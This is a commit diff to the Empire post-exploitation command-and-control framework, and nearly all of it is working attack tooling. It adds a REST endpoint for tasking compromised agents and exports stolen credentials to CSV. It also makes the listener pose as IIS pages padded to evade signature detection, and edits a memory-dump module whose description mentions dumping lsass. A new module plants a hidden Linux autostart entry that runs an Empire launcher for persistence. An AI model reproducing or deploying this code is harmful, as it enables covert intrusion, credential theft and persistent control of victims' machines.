Merge pull request #1 from EmpireProject/dev

Dev
php_fix
Caleb McGary 2018-02-13 13:17:52 -08:00 committed by GitHub
commit b1e7534024
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
6 changed files with 336 additions and 23 deletions

View File

@ -202,7 +202,7 @@ def process_tasking(data):
if result: if result:
resultPackets += result resultPackets += result
packetOffset = 8 + length packetOffset = 12 + length
while remainingData and remainingData != '': while remainingData and remainingData != '':
(packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset) (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset)
@ -210,7 +210,7 @@ def process_tasking(data):
if result: if result:
resultPackets += result resultPackets += result
packetOffset += 8 + length packetOffset += 12 + length
# send_message() is patched in from the listener module # send_message() is patched in from the listener module
send_message(resultPackets) send_message(resultPackets)
@ -857,6 +857,9 @@ def run_command(command):
elif ">" in command or ">>" in command or "<" in command or "<<" in command: elif ">" in command or ">>" in command or "<" in command or "<<" in command:
p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return ''.join(list(iter(p.stdout.readline, b''))) return ''.join(list(iter(p.stdout.readline, b'')))
elif ";" in command or "&&" in command:
p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return p.communicate()[0].strip()
else: else:
command_parts = [] command_parts = []
command_parts.append(command) command_parts.append(command)

31
empire
View File

@ -905,6 +905,33 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID]) execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID])
return jsonify({'success': True}) return jsonify({'success': True})
@app.route('/api/agents/<string:agent_name>/download', methods=['POST'])
def task_agent_download(agent_name):
"""
Tasks the specified agent to download a file
"""
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
if not agentNameIDs or len(agentNameIDs) == 0:
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
if not request.json['filename']:
return make_response(jsonify({'error':'file name not provided'}), 404)
fileName = request.json['filename']
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
msg = "Tasked agent to download %s" % (fileName)
main.agents.save_agent_log(agentSessionID, msg)
taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_DOWNLOAD', fileName)
return jsonify({'success': True, 'taskID': taskID})
@app.route('/api/agents/<string:agent_name>/upload', methods=['POST']) @app.route('/api/agents/<string:agent_name>/upload', methods=['POST'])
def task_agent_upload(agent_name): def task_agent_upload(agent_name):
@ -941,9 +968,9 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest()) msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest())
main.agents.save_agent_log(agentSessionID, msg) main.agents.save_agent_log(agentSessionID, msg)
data = fileName + "|" + fileData data = fileName + "|" + fileData
main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data) taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
return jsonify({'success': True}) return jsonify({'success': True, 'taskID': taskID})
@app.route('/api/agents/<string:agent_name>/shell', methods=['POST']) @app.route('/api/agents/<string:agent_name>/shell', methods=['POST'])
def task_agent_shell(agent_name): def task_agent_shell(agent_name):

View File

@ -24,6 +24,7 @@ import shlex
import pkgutil import pkgutil
import importlib import importlib
import base64 import base64
import threading
# Empire imports # Empire imports
import helpers import helpers
@ -80,6 +81,7 @@ class MainMenu(cmd.Cmd):
self.conn = self.database_connect() self.conn = self.database_connect()
time.sleep(1) time.sleep(1)
self.lock = threading.Lock()
# pull out some common configuration information # pull out some common configuration information
(self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList, self.obfuscate, self.obfuscateCommand) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command') (self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList, self.obfuscate, self.obfuscateCommand) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command')
@ -112,6 +114,15 @@ class MainMenu(cmd.Cmd):
# print the loading menu # print the loading menu
messages.loading() messages.loading()
def get_db_connection(self):
"""
Returns the
"""
self.lock.acquire()
self.conn.row_factory = None
self.lock.release()
return self.conn
def check_root(self): def check_root(self):
""" """
@ -850,6 +861,77 @@ class MainMenu(cmd.Cmd):
print helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating.") print helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating.")
helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate) helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate)
def do_report(self, line):
"Produce report CSV and log files: sessions.csv, credentials.csv, master.log"
conn = self.get_db_connection()
try:
self.lock.acquire()
# Agents CSV
cur = conn.cursor()
cur.execute('select session_id, hostname, username, checkin_time from agents')
rows = cur.fetchall()
print helpers.color("[*] Writing data/sessions.csv")
f = open('data/sessions.csv','w')
f.write("SessionID, Hostname, User Name, First Check-in\n")
for row in rows:
f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+'\n')
f.close()
# Credentials CSV
cur.execute("""
SELECT
domain
,username
,host
,credtype
,password
FROM
credentials
ORDER BY
domain
,credtype
,host
""")
rows = cur.fetchall()
print helpers.color("[*] Writing data/credentials.csv")
f = open('data/credentials.csv','w')
f.write('Domain, Username, Host, Cred Type, Password\n')
for row in rows:
f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+ ','+ row[4]+'\n')
f.close()
# Empire Log
cur.execute("""
SELECT
reporting.time_stamp
,reporting.event_type
,reporting.name as "AGENT_ID"
,a.hostname
,reporting.taskID
,t.data AS "Task"
,r.data AS "Results"
FROM
reporting
JOIN agents a on reporting.name = a.session_id
LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (reporting.name = t.agent)
LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (reporting.name = r.agent)
WHERE
reporting.event_type == 'task' OR reporting.event_type == 'checkin'
""")
rows = cur.fetchall()
print helpers.color("[*] Writing data/master.log")
f = open('data/master.log', 'w')
f.write('Empire Master Taskings & Results Log by timestamp\n')
f.write('='*50 + '\n\n')
for row in rows:
f.write('\n' + row[0] + ' - ' + row[3] + ' (' + row[2] + ')> ' + unicode(row[5]) + '\n' + unicode(row[6]) + '\n')
f.close()
cur.close()
finally:
self.lock.release()
def complete_usemodule(self, text, line, begidx, endidx, language=None): def complete_usemodule(self, text, line, begidx, endidx, language=None):
"Tab-complete an Empire module path." "Tab-complete an Empire module path."

View File

@ -7,7 +7,7 @@ import time
import copy import copy
import sys import sys
from pydispatch import dispatcher from pydispatch import dispatcher
from flask import Flask, request, make_response from flask import Flask, request, make_response, send_from_directory
# Empire imports # Empire imports
from lib.common import helpers from lib.common import helpers
@ -137,17 +137,86 @@ class Listener:
# set the default staging key to the controller db default # set the default staging key to the controller db default
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0]) self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
# randomize the length of the default_response and index_page headers to evade signature based scans
self.header_offset = random.randint(0,64)
def default_response(self): def default_response(self):
"""
Returns an IIS 7.5 404 not found page.
"""
return '\n'.join([
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
'<html xmlns="http://www.w3.org/1999/xhtml">',
'<head>',
'<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>',
'<title>404 - File or directory not found.</title>',
'<style type="text/css">',
'<!--',
'body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}',
'fieldset{padding:0 15px 10px 15px;}',
'h1{font-size:2.4em;margin:0;color:#FFF;}',
'h2{font-size:1.7em;margin:0;color:#CC0000;}',
'h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}',
'#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;',
'background-color:#555555;}',
'#content{margin:0 0 0 2%;position:relative;}',
'.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}',
'-->',
'</style>',
'</head>',
'<body>',
'<div id="header"><h1>Server Error</h1></div>',
'<div id="content">',
' <div class="content-container"><fieldset>',
' <h2>404 - File or directory not found.</h2>',
' <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>',
' </fieldset></div>',
'</div>',
'</body>',
'</html>',
' ' * self.header_offset, # randomize the length of the header to evade signature based detection
])
def index_page(self):
""" """
Returns a default HTTP server page. Returns a default HTTP server page.
""" """
page = "<html><body><h1>It works!</h1>"
page += "<p>This is the default web page for this server.</p>"
page += "<p>The web server software is running but no content has been added, yet.</p>"
page += "</body></html>"
return page
return '\n'.join([
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
'<html xmlns="http://www.w3.org/1999/xhtml">',
'<head>',
'<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />',
'<title>IIS7</title>',
'<style type="text/css">',
'<!--',
'body {',
' color:#000000;',
' background-color:#B3B3B3;',
' margin:0;',
'}',
'',
'#container {',
' margin-left:auto;',
' margin-right:auto;',
' text-align:center;',
' }',
'',
'a img {',
' border:none;',
'}',
'',
'-->',
'</style>',
'</head>',
'<body>',
'<div id="container">',
'<a href="http://go.microsoft.com/fwlink/?linkid=66138&amp;clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>',
'</div>',
'</body>',
'</html>',
])
def validate_options(self): def validate_options(self):
""" """
@ -563,7 +632,7 @@ class Listener:
""" """
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr): if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http_com") dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http_com")
return make_response(self.default_response(), 200) return make_response(self.default_response(), 404)
@app.after_request @app.after_request
@ -581,6 +650,24 @@ class Listener:
response.headers['Expires'] = "0" response.headers['Expires'] = "0"
return response return response
@app.route('/')
@app.route('/index.html')
def serve_index():
"""
Return default server web page if user navigates to index.
"""
static_dir = self.mainMenu.installPath + "data/misc/"
return make_response(self.index_page(), 200)
@app.route('/welcome.png')
def serve_index_helper():
"""
Serves image loaded by index page.
"""
static_dir = self.mainMenu.installPath + "data/misc/"
return send_from_directory(static_dir, 'welcome.png')
@app.route('/<path:request_uri>', methods=['GET']) @app.route('/<path:request_uri>', methods=['GET'])
def handle_get(request_uri): def handle_get(request_uri):
@ -624,7 +711,7 @@ class Listener:
print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP)) print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
return make_response(self.default_response(), 401) return make_response(self.default_response(), 401)
else: else:
return make_response(self.default_response(), 200) return make_response(self.default_response(), 404)
else: else:
# actual taskings # actual taskings
@ -632,13 +719,13 @@ class Listener:
return make_response(base64.b64encode(results), 200) return make_response(base64.b64encode(results), 200)
else: else:
# dispatcher.send("[!] Results are None...", sender='listeners/http_com') # dispatcher.send("[!] Results are None...", sender='listeners/http_com')
return make_response(self.default_response(), 200) return make_response(self.default_response(), 404)
else: else:
return make_response(self.default_response(), 200) return make_response(self.default_response(), 404)
else: else:
dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http_com') dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http_com')
return make_response(self.default_response(), 200) return make_response(self.default_response(), 404)
@app.route('/<path:request_uri>', methods=['POST']) @app.route('/<path:request_uri>', methods=['POST'])
@ -676,16 +763,16 @@ class Listener:
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'): elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http_com') dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http_com')
return make_response(self.default_response(), 200) return make_response(self.default_response(), 404)
elif results == 'VALID': elif results == 'VALID':
dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http_com') dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http_com')
return make_response(self.default_response(), 200) return make_response(self.default_response(), 404)
else: else:
return make_response(base64.b64encode(results), 200) return make_response(base64.b64encode(results), 200)
else: else:
return make_response(self.default_response(), 200) return make_response(self.default_response(), 404)
else: else:
return make_response(self.default_response(), 200) return make_response(self.default_response(), 404)
try: try:
certPath = listenerOptions['CertPath']['Value'] certPath = listenerOptions['CertPath']['Value']

View File

@ -9,13 +9,13 @@ class Module:
'Author': ['@mattifestation'], 'Author': ['@mattifestation'],
'Description': ('Generates a full-memory minidump of a process.'), 'Description': ('Generates a full-memory dump of a process. Note: To dump another user\'s process, you must be running from an elevated prompt (e.g to dump lsass)'),
'Background' : True, 'Background' : True,
'OutputExtension' : None, 'OutputExtension' : None,
'NeedsAdmin' : True, 'NeedsAdmin' : False,
'OpsecSafe' : False, 'OpsecSafe' : False,
@ -89,9 +89,9 @@ class Module:
if option.lower() != "agent": if option.lower() != "agent":
if values['Value'] and values['Value'] != '': if values['Value'] and values['Value'] != '':
if option == "ProcessName": if option == "ProcessName":
scriptEnd += "Get-Process " + values['Value'] + " | Out-Minidump" scriptEnd = "Get-Process " + values['Value'] + " | Out-Minidump"
elif option == "ProcessId": elif option == "ProcessId":
scriptEnd += "Get-Process -Id " + values['Value'] + " | Out-Minidump" scriptEnd = "Get-Process -Id " + values['Value'] + " | Out-Minidump"
for option,values in self.options.iteritems(): for option,values in self.options.iteritems():
if values['Value'] and values['Value'] != '': if values['Value'] and values['Value'] != '':

View File

@ -0,0 +1,114 @@
import base64
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'DesktopFile',
# list of one or more authors for the module
'Author': ['@jarrodcoulter'],
# more verbose multi-line description of the module
'Description': ('Installs an Empire launcher script in ~/.config/autostart.'),
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : None,
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': [https://digitasecurity.com/blog/2018/01/23/crossrat/
https://specifications.freedesktop.org/desktop-entry-spec/latest/ar01s07.html,
https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'FileName' : {
'Description' : 'File name without extension that you would like created in ~/.config/autostart/ folder.',
'Required' : False,
'Value' : 'sec_start'
},
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
FileName = self.options['FileName']['Value']
listenerName = self.options['Listener']['Value']
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python')
launcher = launcher.strip('echo').strip(' | /usr/bin/python &')
dtSettings = """
[Desktop Entry]
Name=%s
Exec=python -c %s
Type=Application
NoDisplay=True
""" % (FileName, launcher)
script = """
import subprocess
import sys
import os
dtFile = \"\"\"
%s
\"\"\"
home = os.path.expanduser("~")
FilePath = home + "/.config/autostart/"
WriteFile = FilePath + "%s.desktop"
if not os.path.exists(FilePath):
os.makedirs(FilePath)
e = open(WriteFile,'wb')
e.write(dtFile)
e.close()
print "\\n[+] Persistence has been installed: ~/.config/autostart/%s"
print "\\n[+] Empire daemon has been written to %s"
""" % (dtSettings, FileName, FileName, FileName)
return script